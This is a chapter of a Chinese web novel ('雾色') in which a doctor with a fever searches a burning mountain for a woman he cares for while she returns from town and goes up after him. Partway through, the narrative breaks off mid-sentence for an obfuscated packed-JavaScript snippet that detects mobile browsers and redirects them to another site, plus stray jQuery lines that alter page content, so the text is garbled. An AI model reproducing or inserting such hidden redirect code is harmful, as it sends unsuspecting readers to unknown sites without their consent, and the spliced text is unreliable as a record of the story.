11. 第 11 章

作品:《雾色

    那股虚无感又来了,从他心上凿出一个洞,慢慢将他往里拖。


    他愣在原地,直到蹲着的双腿开始发麻,撑不住了跌坐在地上,阿园被他带得踉跄了一步。


    “叔叔。”阿园的声音因悲伤拉得很长。


    粟栖撑地起来,单膝跪地,把阿园揽进怀里,梳顺她散乱的辫子,安抚地说:“叔叔会把云老师带回来的。”


    他松手,站起身,看见丛此,把阿园交给他,转身进屋拿了医药箱。打开确定东西都齐全了,他背上往外走。


    丛此在门口拦住他。


    “粟栖你疯了,你上去干什么?”


    粟栖攥紧医药箱的带子,让自己冷静,“云雾还在山上。”


    丛此的火气不比烧起的山火小,“消防队已经上去了,他们比你知道怎么救人!”


    粟栖扣住他的肩膀,拿出一队之长的气势,“丛此,我是医生,我得去,如果她受伤了怎么办?他们找不到她怎么办?我认得路,你放心,我不会让自己有事。”


    丛此一把捏住他的手腕,大力甩开,冲他吼道:“你他妈知不知道你现在还在发烧?你这副惨兮兮的样子还要别人救,谈什么救人!”


    粟栖迎上他的目光,眼睛依旧酸涩,但他清楚,无论此刻在山上的人是不是云雾,他都会去,“八年前我能去,现在也能。”


    “好!好!好!”丛此被气得肺疼,“要去是吧,我和你一起去!”


    “丛此!”粟栖格开他伸过来抢医药箱的手,“我要去找她,还需要确定一些事,你不用跟来,不用为我冒险,我不会让自己有事的,你顾着这里。”


    不知道他说的要确定的事是什么,丛此愣神片刻,反应过来时,人已经跑远了。


    他压住气,抬脚往门槛上踢了一下,狠狠骂一句“神经病”。


    -


    刚刚在医疗点和村口往返跑了一趟,粟栖的双腿有些无力,跑出里医疗点足够远,他慢慢缓下来。


    沿路有几户人家,他需要找些防火的东西。


    家里没人,估计都聚到村口去了。粟栖也顾不得什么不问自取了,他拿了几条挂在竹竿上的长条状布,在水桶里浸湿。转身走出几步,想到什么又回去,举起那桶水,从头到脚将自己淋了个湿。


    在院里被风吹得更冷的水淋在身上,浇低了滚烫的温度,夜风吹过,他忍不住打了个寒颤。


    冷水让他清醒许多,他背紧医药箱往山上跑。


    村民说,火源在木屋那,顺着蔓延到边上的树木,他们发现得及时,应该没有大范围扩散。


    粟栖是走到湖边,才闻到比较重的烧焦味。


    身上的濡湿被风吹干了一点,他胡乱从湖里掬起几捧水再浇湿一些。经过这个湖,再往上跑了两条山道就到木屋。


    木屋的火已经灭了,但蔓延到周围的火势在高压水枪里还顽强地抵抗,一簇簇升起的烈焰被水柱压弯,而后又迎风抬起腰肢,像今年烧尽明年依旧长出的草,生生不息。


    粟栖还没靠近,就感受到空气里炙热的温度,似是要破开他的皮肤,往他身体里钻,让血液沸腾。


    满身的湿气在极高的温度里也很快被烘干,外部的热气混上他体内的热气,内外施力,他像夹在中间腹背受敌的残军,体能快要到达极限。


    投身于救援的消防队员发现他,扔下手里的东西,作势要赶他走,触及他身上的医药箱,从小坡上跳下来,问:“你是医生?”


    “是。”


    “快,我们刚救出来一个人,快来看看她。”


    粟栖跟着他上坡,越靠近火源越灼烫的温度刺痛他的皮肤,但他毫不犹豫。


    纵使前面是巍山、烈焰、冰川、深海,他都不能往后退一步,再怕死,他也要掐住那颗颤动的心脏,坚定地告诉自己,他不畏死,亦不畏在刀尖上,以他一双平平无奇的手挽救生命。


    他是医生,这是他的使命。


    白袍下担着其他人想象不到的重任,他敢走刀尖,敢闯火海。医生的胆子比常人想象得大,哪怕是装的,也会装得让人完全信服。


    救出来的人是夏奶奶。


    她平静地躺在草地上,衣服已经被烧破,火烧到她的身体,裸露出来的皮肤都呈黑色。


    粟栖跪在地上,伸手去探她的呼吸,指尖没有感受到任何气体的流动。


    他双手在她胸膛上按压做心肺复苏,几次之后人依旧没反应。


    “快,先送下山,他们已经打120了,送到医院,可能还有希望,快!”


    年过七十的老人,被烧过的三分之一的身体,其实希望不大,但人生来有悲悯之心,总期待着有奇迹发生。


    消防队员背起老人,见粟栖还跪坐在地上,他着急地问:“你不一起走吗?”


    粟栖咽了咽口水润喉,摇头,“山上还有人,我得留下。从这出去,看到那片湖后右拐就到山下,人命关天,谢谢你。”


    “那你小心,虽然火被熄了大部分,但是难保不会再燃,不要往火源走。”


    “好。”


    消防队员背着夏奶奶,健步如飞。


    人走后,粟栖抵着胸膛用力咳了一阵,热浪灼得他喉咙更痛。他望着地上的沙土,回想起刚刚那个消防队员的脸。


    皮肤黝黑,稚气未脱,眼神里却有了保家护民的坚毅。


    他大概也只是个二十岁的小伙。


    粟栖撑地起来,前方那群橙衣战士还在奋战。


    他们只找到夏奶奶,说明云雾没有在火场里,可能被烟熏晕在某处,也可能为救夏奶奶被迸出的热浪掷向别处。这个认知让他稍微安心些。


    但他还得去找她。


    他留下一些酒精、棉签和纱布,以防万一。不过他不希望有这个万一出现,他希望他们怎么来的,怎么回去。


    粟栖离开木屋,在周围搜寻,边走边喊云雾的名字。


    发烧和烟雾的熏绕让他的喉咙彻底沙哑,喊出来的声音大概连蚊蚁振翅的声音都不如,但他仍旧卖力地喊。


    绕离木屋,呛人的烧焦味和迷蒙的烟雾逐渐远去,这边的树依旧青绿。


    粟栖在湖前面一条分岔路上找。


    这条路稍微难走一些,沙土和碎石很多,走一段就有一个小坡,小坡可以落脚站定的地方很少,他爬上去后几次踩空。


    在越过第三个小坡后,他看到一抹奶绿色的布料,掩在石块后,布料有些破损。


    担忧一路的脸上终于浮现喜色,粟栖心急,刚踏上坡的脚还没站稳就连忙迈出下一步。


    细碎的石头从他脚底滑走,双脚好像被一股不小的力道攥住往下带,紧绷的小腿在这时抽筋,酸痹的肌肉加上筋络撕扯的痛感,他没有足够的力气往上攀,后腰一倾往左边倒去。


    他抓不住那抹绿色了。


    *


    云雾是在白汀镇听到人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755293|157690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说甘泠村山上起火的。


    给夏奶奶定做的衣服还在修改,她等不及改好,在路边叫了辆摩托车回去,一路上在催师傅加速。


    在村门口停下,云雾丢给司机师傅一堆纸币,卯足劲往村里跑。师傅在后头说些什么她没听清,脑子里只有一个念头。


    甘泠村是她第二个家,她承受不起第二次失去了。


    她跑到医疗点时,天色渐黑,一大群人乌泱泱地聚在礼堂门口,人声杂乱。


    云雾从人缝里挤进去,在最前头找到陈方,还没开口询问情况,怀里扑进来一个人。


    阿园满脸眼泪将她的衣服打湿,她双手抱紧她的腰,一声声喊着“云老师”。


    听得云雾心碎。


    她抱起阿园,让她趴在她肩头,这才明白她在哭什么。


    “云老师,我以为你去找夏奶奶了,我以为你回不来了,云老师我好怕,我好怕你不见了,云老师,呜呜呜~~~”


    云雾眼角也出现湿意,她拍着阿园的背温声哄着:“阿园乖,别怕,云老师在这,我还没上去,别怕别怕。”


    阿园的哭声小了点,却依旧抱着她不放手。


    “阿园,夏奶奶呢,她怎么样了?”


    “刚刚有个叔叔把夏奶奶背下来了,有救护车过来,接走了夏奶奶。”


    “那其他人呢?有没有人受伤?”


    阿园摇头。


    云雾放下阿园,转身想找陈方,又被一人叫住。


    “阿雾,你没上山?”丛此在这里看见她,又惊又喜。


    云雾抬手抹抹眼角,说:“没有,我在镇上耽搁了一会,刚刚才回来。”


    丛此脸色骤变,“粟栖他以为你在山上,上去找你了!”


    “什么!”


    “要去,我给夏奶奶定了套衣服,后天下午上完课去拿,上山大概要四点了。”


    “我会早些,四点医疗点会比较忙。”


    前天和粟栖的对话浮在耳边,云雾心头一震,脸色也变了,“他怎么这么笨!”


    丛此神色凝重,“他应该是去你家找过你,找不到你才上山的。阿雾,他还发着烧。”


    云雾眸中透出的震惊与担忧,让丛此心头的异样情绪淡去几分。


    “他上去多久了?”


    “一个多小时了。”


    云雾把阿园的手交给他,“帮我看着阿园,我去找他。”


    “不行!”丛此扯住她的胳膊,“山上现在什么情况还不清楚,粟栖已经上去了,我不能再让你去。”


    云雾低头瞥一眼他的手,抬头时眸色突然变冷,“他是因为我才冒险上去的,我得把他带回来。山上没有传来让我们撤退的消息,说明火势已经控制住了,我现在上去,不会有危险。”


    “那我和你去,多个人多份力。”


    “不!你不用跟来!”云雾环视一圈周围的人,“粟栖是你们队长,他不在,需要有人主持大局,你平时和他走得最近,这个时候他不在,你需要留下来。况且不知道山上救援的消防队员有没有受伤,万一有,这里需要你。”


    云雾掰开他的手,摸了摸阿园的脸,迈开步子往前跑。


    她跑得很快。


    夜风送来她头发上洗发水的香味。


    “你不用跟来。”


    丛此笑出来,他们拒绝他的话都如出一辙。


    如果,粟栖,如果她真是那个人呢...